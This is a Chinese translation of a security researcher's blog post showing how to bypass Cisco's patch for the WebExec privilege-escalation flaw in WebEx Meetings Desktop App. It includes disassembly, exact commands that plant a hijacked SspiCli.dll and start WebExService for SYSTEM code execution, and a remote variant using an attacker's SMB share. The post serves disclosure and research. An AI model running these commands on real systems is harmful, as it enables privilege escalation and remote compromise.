如何绕过Cisco WebEx Meetings Desktop App最新补丁

阅读量209406

|

发布时间 : 2018-12-05 10:03:28

x
译文声明

本文是翻译文章,文章原作者 srcincite,文章来源:srcincite.io

原文地址:https://srcincite.io/blog/2018/12/03/webexec-reloaded-cisco-webex-meetings-desktop-app-lpe.html

译文仅供参考,具体内容表达以及含义原文为准。

 

一、前言

前一段时间,Ron Bowes发现Cisco WebEx Meetings Desktop App中存在一个漏洞,这是一个本地权限提升漏洞,如果攻击者具备用户账户凭据,还能利用psexecSYSTEM身份远程执行代码。Ron Bowes将该漏洞命名为WebExec,还为此专门建了一个网站。现在的问题在于,官方给的补丁貌似并不完美。

在本文中,我重新发现了CVE-2018-15442的利用方法,绕过了官方对原始漏洞的补丁。由于原始漏洞和补丁绕过方法相似,因此Cisco决定不为该漏洞发布新的CVE编号,我也比较认同这一决定。从技术角度来讲,这是一个远程代码执行漏洞,但该漏洞的触发方式比较特别,在本地上下文中更好利用。

 

二、简介

Webex网站上对webex的总结如下:

……在Webex Meetings的帮助下,加入会议是非常简单的一件事,音频和视频也更加清晰、屏幕共享比以前更加方便。您可以不用去关心背后的技术,专注更为重要的事务……

话虽如此,麻烦Cisco还是不要忘记技术上的安全性。

在阅读Ron的文章后,我们知道底层的问题在于WebExService会接收用户可控的一个二进制文件,并将其以SYSTEM权限运行。对漏洞利用来说这真是极好的一件事,感谢Cisco!

 

三、再次发现漏洞

根据Ron的描述,打上补丁后应用会检查待执行的文件是否经过WebEx签名。

打上补丁后,WebEx仍然可以让远程用户连接并启动进程。然而,如果待运行的可执行文件没有经过WebEx的签名,那么就会停止运行。不幸的是,我们并不知道该主机是否存在漏洞。

好吧,让我们按照正常步骤走,自己检查一下补丁情况。从Cisco的CDN上安装最新版应用后,可以发现官方已经打上最新补丁:

图1. 目前33.6.2.16为最新版本

深入分析C:\Program Files\Webex\Webex\Applications\WebExService.exe这个文件后,我们可以看到有趣的一些点。首先我注意到程序代码只查找一种参数类型,即software-update:

.text:00402DC4 loc_402DC4:                                          ; CODE XREF: sub_402D80+1C
.text:00402DC4                 push    offset aSoftwareUpdate       ; "software-update"
.text:00402DC9                 push    dword ptr [esi+8]            ; lpString1
.text:00402DCC                 call    ds:lstrcmpiW
.text:00402DD2                 test    eax, eax
.text:00402DD4                 jnz     loc_402E66
.text:00402DDA                 push    208h                         ; Size
.text:00402DDF                 push    eax                          ; Val
.text:00402DE0                 lea     eax, [ebp+Dst]
.text:00402DE6                 push    eax                          ; Dst
.text:00402DE7                 call    memset
.text:00402DEC                 add     esp, 0Ch
.text:00402DEF                 lea     eax, [ebp+Dst]
.text:00402DF5                 push    offset pszFile               ; "ptupdate.exe"
.text:00402DFA                 push    dword ptr [esi+10h]          ; pszDir
.text:00402DFD                 push    eax                          ; pszDest
.text:00402DFE                 call    ds:PathCombineW
.text:00402E04                 sub     esp, 18h
.text:00402E07                 lea     eax, [ebp+Dst]
.text:00402E0D                 mov     ecx, esp                     ; Dst
.text:00402E0F                 mov     [esi+10h], eax
.text:00402E12                 push    eax                          ; Src
.text:00402E13                 call    sub_402EB0
.text:00402E18                 call    sub_402310                   ; signature check on ptupdate.exe
.text:00402E1D                 add     esp, 18h
.text:00402E20                 test    eax, eax
.text:00402E22                 jz      short loc_402E46             ; jump if we don't pass the check!
.text:00402E24                 lea     eax, [ebp+var_214]
.text:00402E2A                 mov     [ebp+var_214], 0
.text:00402E34                 push    eax
.text:00402E35                 push    ecx
.text:00402E36                 lea     ecx, [edi-3]
.text:00402E39                 lea     edx, [esi+0Ch]
.text:00402E3C                 call    sub_402960                   ; execute "ptupdate.exe" as winlogon.exe

随后,程序代码调用PathCombineW,参数为我们在命令行中提供的字符串ptupdate.exe。看到这里我已经不想进一步逆向分析了,我甚至懒得去逆向分析签名检查函数或者模拟及执行函数,我心中已经有了攻击计划。

 

四、漏洞利用

此时,我们需要做的就是将C:\Program Files\Webex\Webex\Applications\*中的所有文件拷贝到用户(访客用户或者本地用户)可控的一个目录中(该目录也可以是沙盒目录),然后寻找DLL劫持漏洞,或者删除某个DLL实现DLL劫持。

在可以避免的情况下,我不喜欢程序出现非预期行为,因此我想寻找不影响程序状态的DLL植入问题。为了完成这个任务,我首先执行了如下命令:

mkdir %cd%\si
copy C:\PROGRA~1\Webex\Webex\Applications\* %cd%\si\*
sc start webexservice a software-update 1 %cd%\si

结果表明,SspiCli.dll貌似是一个不错的目标。

图2. ptUpdate.exe无法在当前目录中找到SspiCli.dll

当然,我们还可以继续分析并利用其他43个LoadLibraryW调用。此时,在PoC利用场景中,我们需要再加入1条命令:

mkdir %cd%\si
copy C:\PROGRA~1\Webex\Webex\Applications\* %cd%\si\*
copy SspiCli.dll %cd%\si
sc start webexservice a software-update 1 %cd%\si

图3. 通过DLL劫持以SYSTEM权限执行代码

如上所述,从技术角度来看,我们也可以实现以SYSTEM权限运行的RCE效果,但这个过程必须通过身份认证,此时我们可以使用sc \victim start webexservice a software-update 1 "\attackersharesi"这条命令。

 

五、总结

如果某个高权限服务执行了文件操作,并且文件路径可由攻击者控制,那么该服务就很容易成功攻击者的目标。这个漏洞非常简单,但功能强大,可以通过SMB方式从远程触发,也能作为沙箱逃逸的一种方法。我认为逻辑漏洞将成为未来主流的漏洞利用目标,此时攻击者距离突破操作系统级别防护仅一步之遥。

Cisco并没有第一时间完全补掉这个漏洞,这一点令人难以置信。Cisco只需要固定C:\Program Files\Webex\Webex\Applications目录,并且移除用户控制的所有输入点即可。我总共花了10分钟就找到了这个漏洞,也给这个漏洞起了个名字:WebExec reloaded,重新载入攻击者可控的任意DLL文件,非常形象。

最后,非常感谢iDefense在漏洞处置过程中发挥的作用。

 

六、参考资料

本文翻译自srcincite.io 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
興趣使然的小胃
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66